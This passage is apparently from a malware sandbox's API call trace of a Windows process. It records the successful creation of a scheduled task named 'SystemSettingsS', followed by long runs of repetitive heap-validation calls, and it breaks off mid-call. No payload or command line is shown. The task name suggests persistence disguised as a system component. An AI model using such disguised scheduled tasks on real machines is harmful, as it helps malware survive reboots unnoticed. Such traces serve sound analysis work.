_BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x9d899cd088 | out: _Buffer="SUCCESS: The scheduled task \"SystemSettingsS\" has successfully been created.\n") returned 77 [0137.466] __iob_func () returned 0x7ffb1de6e210 [0137.466] _fileno (_File=0x7ffb1de6e240) returned -2 [0137.466] _errno () returned 0x2781b750840 [0137.466] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0137.466] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0137.466] lstrlenW (lpString="SUCCESS: The scheduled task \"SystemSettingsS\" has successfully been created.\n") returned 77 [0137.466] GetConsoleOutputCP () returned 0x0 [0137.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"SystemSettingsS\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0137.466] GetConsoleOutputCP () returned 0x0 [0137.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"SystemSettingsS\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0x7ff6b6f88630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"SystemSettingsS\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 77 [0137.466] fprintf (in: _File=0x7ffb1de6e240, _Format="%s" | out: _File=0x7ffb1de6e240) returned 77 [0137.467] fflush (in: _File=0x7ffb1de6e240 | out: _File=0x7ffb1de6e240) returned -1 [0137.467] IUnknown:Release (This=0x2781b756fd0) returned 0x0 [0137.467] TaskScheduler:IUnknown:Release (This=0x2781b755920) returned 0x0 [0137.467] TaskScheduler:IUnknown:Release (This=0x2781b7558a0) returned 0x0 [0137.467] TaskScheduler:IUnknown:Release (This=0x2781b755720) returned 0x0 [0137.467] lstrlenW (lpString="") returned 0 [0137.467] lstrlenW (lpString="8") returned 1 [0137.468] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="8", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0137.468] GetProcessHeap () returned 0x2781b7c0000 [0137.468] GetProcessHeap () returned 0x2781b7c0000 [0137.468] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cabf0) returned 1 [0137.468] GetProcessHeap () returned 0x2781b7c0000 [0137.468] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cabf0) returned 0x1fc [0137.468] GetProcessHeap () returned 0x2781b7c0000 [0137.468] GetProcessHeap () returned 0x2781b7c0000 [0137.468] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c4310) returned 1 [0137.468] GetProcessHeap () returned 0x2781b7c0000 [0137.468] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c4310) returned 0x4 [0137.468] GetProcessHeap () returned 0x2781b7c0000 [0137.468] GetProcessHeap () returned 0x2781b7c0000 [0137.468] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7caa90) returned 1 [0137.468] GetProcessHeap () returned 0x2781b7c0000 [0137.468] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7caa90) returned 0x16 [0137.468] GetProcessHeap () returned 0x2781b7c0000 [0137.468] GetProcessHeap () returned 0x2781b7c0000 [0137.468] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cab50) returned 1 [0137.468] GetProcessHeap () returned 0x2781b7c0000 [0137.468] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cab50) returned 0x18 [0137.468] GetProcessHeap () returned 0x2781b7c0000 [0137.468] GetProcessHeap () returned 0x2781b7c0000 [0137.468] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb740) returned 1 [0137.468] GetProcessHeap () returned 0x2781b7c0000 [0137.468] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb740) returned 0x20 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.469] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c38b0) returned 1 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.469] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c38b0) returned 0xa0 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.469] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c3890) returned 1 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.469] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c3890) returned 0x18 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.469] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cba70) returned 1 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.469] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cba70) returned 0x20 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.469] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cc8e0) returned 1 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.469] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cc8e0) returned 0x56 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.469] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7ca930) returned 1 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.469] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7ca930) returned 0x18 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.469] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb3e0) returned 1 [0137.469] GetProcessHeap () returned 0x2781b7c0000 [0137.470] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb3e0) returned 0x20 [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.470] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c3c40) returned 1 [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.470] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c3c40) returned 0x58 [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.470] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7caad0) returned 1 [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.470] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7caad0) returned 0x18 [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.470] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c8ea0) returned 1 [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.470] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c8ea0) returned 0x20 [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.470] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c3c20) returned 1 [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.470] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c3c20) returned 0xe [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.470] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c3c00) returned 1 [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.470] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c3c00) returned 0x18 [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.470] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c8e40) returned 1 [0137.470] GetProcessHeap () returned 0x2781b7c0000 [0137.471] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c8e40) returned 0x20 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.471] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c9a80) returned 1 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.471] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c9a80) returned 0x208 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.471] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c46f0) returned 1 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.471] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c46f0) returned 0x18 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.471] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c9050) returned 1 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.471] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c9050) returned 0x20 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.471] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cbab0) returned 1 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.471] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cbab0) returned 0x200 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.471] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c3960) returned 1 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.471] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c3960) returned 0x18 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.471] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c9080) returned 1 [0137.471] GetProcessHeap () returned 0x2781b7c0000 [0137.472] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c9080) returned 0x20 [0137.472] GetProcessHeap () returned 0x2781b7c0000 [0137.472] GetProcessHeap () returned 0x2781b7c0000 [0137.472] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c4350) returned 1 [0137.472] GetProcessHeap () returned 0x2781b7c0000 [0137.472] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c4350) returned 0x14 [0137.472] GetProcessHeap () returned 0x2781b7c0000 [0137.472] GetProcessHeap () returned 0x2781b7c0000 [0137.472] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c4330) returned 1 [0137.472] GetProcessHeap () returned 0x2781b7c0000 [0137.472] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c4330) returned 0x18 [0137.472] GetProcessHeap () returned 0x2781b7c0000 [0137.472] GetProcessHeap () returned 0x2781b7c0000 [0137.472] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c90e0) returned 1 [0137.472] GetProcessHeap () returned 0x2781b7c0000 [0137.472] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c90e0) returned 0x20 [0137.472] GetProcessHeap () returned 0x2781b7c0000 [0137.472] GetProcessHeap () returned 0x2781b7c0000 [0137.472] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c4370) returned 1 [0137.472] GetProcessHeap () returned 0x2781b7c0000 [0137.472] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c4370) returned 0x16 [0137.472] GetProcessHeap () returned 0x2781b7c0000 [0137.472] GetProcessHeap () returned 0x2781b7c0000 [0137.472] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c42f0) returned 1 [0137.472] GetProcessHeap () returned 0x2781b7c0000 [0137.472] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c42f0) returned 0x18 [0137.472] GetProcessHeap () returned 0x2781b7c0000 [0137.472] GetProcessHeap () returned 0x2781b7c0000 [0137.472] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c9020) returned 1 [0137.473] GetProcessHeap () returned 0x2781b7c0000 [0137.473] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c9020) returned 0x20 [0137.473] GetProcessHeap () returned 0x2781b7c0000 [0137.473] GetProcessHeap () returned 0x2781b7c0000 [0137.473] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c4ab0) returned 1 [0137.473] GetProcessHeap () returned 0x2781b7c0000 [0137.473] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c4ab0) returned 0x2 [0137.473] GetProcessHeap () returned 0x2781b7c0000 [0137.473] GetProcessHeap () returned 0x2781b7c0000 [0137.473] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c4000) returned 1 [0137.473] GetProcessHeap () returned 0x2781b7c0000 [0137.473] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c4000) returned 0x20 [0137.473] GetProcessHeap () returned 0x2781b7c0000 [0137.473] GetProcessHeap () returned 0x2781b7c0000 [0137.473] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c4050) returned 1 [0137.473] GetProcessHeap () returned 0x2781b7c0000 [0137.473] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c4050) returned 0x20 [0137.473] GetProcessHeap () returned 0x2781b7c0000 [0137.473] GetProcessHeap () returned 0x2781b7c0000 [0137.473] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c4080) returned 1 [0137.473] GetProcessHeap () returned 0x2781b7c0000 [0137.473] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c4080) returned 0x20 [0137.473] GetProcessHeap () returned 0x2781b7c0000 [0137.473] GetProcessHeap () returned 0x2781b7c0000 [0137.473] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c2090) returned 1 [0137.473] GetProcessHeap () returned 0x2781b7c0000 [0137.473] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c2090) returned 0x20 [0137.473] GetProcessHeap () returned 0x2781b7c0000 [0137.474] GetProcessHeap () returned 0x2781b7c0000 [0137.474] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb2f0) returned 1 [0137.474] GetProcessHeap () returned 0x2781b7c0000 [0137.474] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb2f0) returned 0x20 [0137.474] GetProcessHeap () returned 0x2781b7c0000 [0137.474] GetProcessHeap () returned 0x2781b7c0000 [0137.474] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cab10) returned 1 [0137.474] GetProcessHeap () returned 0x2781b7c0000 [0137.474] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cab10) returned 0xa [0137.474] GetProcessHeap () returned 0x2781b7c0000 [0137.474] GetProcessHeap () returned 0x2781b7c0000 [0137.474] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb620) returned 1 [0137.474] GetProcessHeap () returned 0x2781b7c0000 [0137.474] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb620) returned 0x20 [0137.474] GetProcessHeap () returned 0x2781b7c0000 [0137.474] GetProcessHeap () returned 0x2781b7c0000 [0137.474] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c42b0) returned 1 [0137.474] GetProcessHeap () returned 0x2781b7c0000 [0137.474] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c42b0) returned 0x30 [0137.474] GetProcessHeap () returned 0x2781b7c0000 [0137.474] GetProcessHeap () returned 0x2781b7c0000 [0137.474] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cba10) returned 1 [0137.474] GetProcessHeap () returned 0x2781b7c0000 [0137.474] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cba10) returned 0x20 [0137.474] GetProcessHeap () returned 0x2781b7c0000 [0137.474] GetProcessHeap () returned 0x2781b7c0000 [0137.474] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c3b60) returned 1 [0137.474] GetProcessHeap () returned 0x2781b7c0000 [0137.474] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c3b60) returned 0x30 [0137.475] GetProcessHeap () returned 0x2781b7c0000 [0137.475] GetProcessHeap () returned 0x2781b7c0000 [0137.475] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb680) returned 1 [0137.475] GetProcessHeap () returned 0x2781b7c0000 [0137.475] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb680) returned 0x20 [0137.475] GetProcessHeap () returned 0x2781b7c0000 [0137.475] GetProcessHeap () returned 0x2781b7c0000 [0137.475] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7ca9d0) returned 1 [0137.475] GetProcessHeap () returned 0x2781b7c0000 [0137.475] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7ca9d0) returned 0x10 [0137.475] GetProcessHeap () returned 0x2781b7c0000 [0137.475] GetProcessHeap () returned 0x2781b7c0000 [0137.475] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb4d0) returned 1 [0137.475] GetProcessHeap () returned 0x2781b7c0000 [0137.475] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb4d0) returned 0x20 [0137.475] GetProcessHeap () returned 0x2781b7c0000 [0137.475] GetProcessHeap () returned 0x2781b7c0000 [0137.475] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7caa30) returned 1 [0137.475] GetProcessHeap () returned 0x2781b7c0000 [0137.475] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7caa30) returned 0x10 [0137.475] GetProcessHeap () returned 0x2781b7c0000 [0137.475] GetProcessHeap () returned 0x2781b7c0000 [0137.475] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb4a0) returned 1 [0137.475] GetProcessHeap () returned 0x2781b7c0000 [0137.475] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb4a0) returned 0x20 [0137.475] GetProcessHeap () returned 0x2781b7c0000 [0137.475] GetProcessHeap () returned 0x2781b7c0000 [0137.475] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7ca8d0) returned 1 [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.476] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7ca8d0) returned 0xe [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.476] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb5c0) returned 1 [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.476] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb5c0) returned 0x20 [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.476] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cab70) returned 1 [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.476] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cab70) returned 0x16 [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.476] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb470) returned 1 [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.476] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb470) returned 0x20 [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.476] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cab90) returned 1 [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.476] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cab90) returned 0x16 [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.476] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb500) returned 1 [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.476] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb500) returned 0x20 [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.476] GetProcessHeap () returned 0x2781b7c0000 [0137.477] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7db340) returned 1 [0137.477] GetProcessHeap () returned 0x2781b7c0000 [0137.477] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7db340) returned 0x82 [0137.477] GetProcessHeap () returned 0x2781b7c0000 [0137.477] GetProcessHeap () returned 0x2781b7c0000 [0137.477] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb650) returned 1 [0137.477] GetProcessHeap () returned 0x2781b7c0000 [0137.477] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb650) returned 0x20 [0137.477] GetProcessHeap () returned 0x2781b7c0000 [0137.477] GetProcessHeap () returned 0x2781b7c0000 [0137.477] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7ca950) returned 1 [0137.477] GetProcessHeap () returned 0x2781b7c0000 [0137.477] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7ca950) returned 0xe [0137.477] GetProcessHeap () returned 0x2781b7c0000 [0137.477] GetProcessHeap () returned 0x2781b7c0000 [0137.477] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb320) returned 1 [0137.477] GetProcessHeap () returned 0x2781b7c0000 [0137.477] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb320) returned 0x20 [0137.477] GetProcessHeap () returned 0x2781b7c0000 [0137.477] GetProcessHeap () returned 0x2781b7c0000 [0137.477] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c4030) returned 1 [0137.477] GetProcessHeap () returned 0x2781b7c0000 [0137.477] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c4030) returned 0x18 [0137.477] GetProcessHeap () returned 0x2781b7c0000 [0137.477] GetProcessHeap () returned 0x2781b7c0000 [0137.477] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c8f00) returned 1 [0137.477] GetProcessHeap () returned 0x2781b7c0000 [0137.477] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c8f00) returned 0x20 [0137.477] GetProcessHeap () returned 0x2781b7c0000 [0137.478] GetProcessHeap () returned 0x2781b7c0000 [0137.478] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c9140) returned 1 [0137.478] GetProcessHeap () returned 0x2781b7c0000 [0137.478] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c9140) returned 0x20 [0137.478] GetProcessHeap () returned 0x2781b7c0000 [0137.478] GetProcessHeap () returned 0x2781b7c0000 [0137.478] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c8ed0) returned 1 [0137.478] GetProcessHeap () returned 0x2781b7c0000 [0137.478] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c8ed0) returned 0x20 [0137.478] GetProcessHeap () returned 0x2781b7c0000 [0137.478] GetProcessHeap () returned 0x2781b7c0000 [0137.478] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c8f30) returned 1 [0137.478] GetProcessHeap () returned 0x2781b7c0000 [0137.478] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c8f30) returned 0x20 [0137.478] GetProcessHeap () returned 0x2781b7c0000 [0137.478] GetProcessHeap () returned 0x2781b7c0000 [0137.478] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c20c0) returned 1 [0137.478] GetProcessHeap () returned 0x2781b7c0000 [0137.478] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c20c0) returned 0x18 [0137.478] GetProcessHeap () returned 0x2781b7c0000 [0137.478] GetProcessHeap () returned 0x2781b7c0000 [0137.478] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c9110) returned 1 [0137.478] GetProcessHeap () returned 0x2781b7c0000 [0137.478] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c9110) returned 0x20 [0137.478] GetProcessHeap () returned 0x2781b7c0000 [0137.478] GetProcessHeap () returned 0x2781b7c0000 [0137.479] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c8f60) returned 1 [0137.479] GetProcessHeap () returned 0x2781b7c0000 [0137.479] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c8f60) returned 0x20 [0137.479] GetProcessHeap () returned 0x2781b7c0000 [0137.479] GetProcessHeap () returned 0x2781b7c0000 [0137.479] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c8e70) returned 1 [0137.479] GetProcessHeap () returned 0x2781b7c0000 [0137.479] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c8e70) returned 0x20 [0137.479] GetProcessHeap () returned 0x2781b7c0000 [0137.479] GetProcessHeap () returned 0x2781b7c0000 [0137.479] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c90b0) returned 1 [0137.479] GetProcessHeap () returned 0x2781b7c0000 [0137.479] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c90b0) returned 0x20 [0137.479] GetProcessHeap () returned 0x2781b7c0000 [0137.479] GetProcessHeap () returned 0x2781b7c0000 [0137.479] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c8de0) returned 1 [0137.479] GetProcessHeap () returned 0x2781b7c0000 [0137.479] RtlSizeHeap 